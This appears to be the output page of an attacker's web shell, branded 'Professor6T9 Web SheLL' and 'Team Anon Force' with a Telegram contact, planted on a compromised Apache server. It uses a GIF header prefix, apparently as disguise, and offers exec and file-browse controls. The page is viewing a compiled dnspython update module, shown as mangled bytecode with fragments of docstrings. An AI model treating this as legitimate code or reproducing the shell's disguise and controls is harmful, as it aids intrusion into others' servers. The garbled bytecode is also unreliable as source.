GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
dns
/
__pycache__
[ HOME ]
Exec
Submit
File Name : update.cpython-310.pyc
o x7�_7* � @ s� d Z ddlZddlZddlZddlZddlZddlZddlZG dd� dej j �ZG dd� dejj �ZeZejZejZejZejZdS )zDNS Dynamic Update Support� Nc @ s, e Zd ZdZdZdZdZdZedd� �Z dS ) � UpdateSectionzUpdate sectionsr � � � c C � dS )Nr � )�clsr r �,/usr/lib/python3/dist-packages/dns/update.py�_maximum% � zUpdateSection._maximumN) �__name__� __module__�__qualname__�__doc__�ZONE�PREREQ�UPDATE� ADDITIONAL�classmethodr r r r r r s r c s� e Zd ZeZdejjddejj df� fdd� Z edd� �Zej dd� �Zedd� �Zej d d� �Zed d� �Zej dd� �Zdd d�Zdd� Zdd� Zdd� Zdd� Zdd� Zd dd�Zdd� Zdd� Z� ZS )!� UpdateMessageNc s� t � j|d� | jtj�tjj�O _t|t�rtj � |�}|| _tjj �|�}|| _| jr>| j| j| j|tjjddd� |durL| j|||d� dS dS )ax Initialize a new DNS Update object. See the documentation of the Message class for a complete description of the keyring dictionary. *zone*, a ``dns.name.Name``, ``str``, or ``None``, the zone which is being updated. ``None`` should only be used by dnspython's message constructors, as a zone is required for the convenience methods like ``add()``, ``replace()``, etc. *rdclass*, an ``int`` or ``str``, the class of the zone. The *keyring*, *keyname*, and *keyalgorithm* parameters are passed to ``use_tsig()``; see its documentation for details. )�idT)ZcreateZforce_uniqueN)� algorithm)�super�__init__�flags�dnsZopcodeZto_flagsr � isinstance�str�name� from_text�origin� rdataclassZ RdataClass�make�zone_rdclass� find_rrset�zone� rdatatype�SOAZuse_tsig)�selfr% �rdclassZkeyringZkeynameZkeyalgorithmr �� __class__r r r . s ��zUpdateMessage.__init__c C � | j d S )zThe zone section.r �Zsections�r( r r r r% M � zUpdateMessage.zonec C � || j d<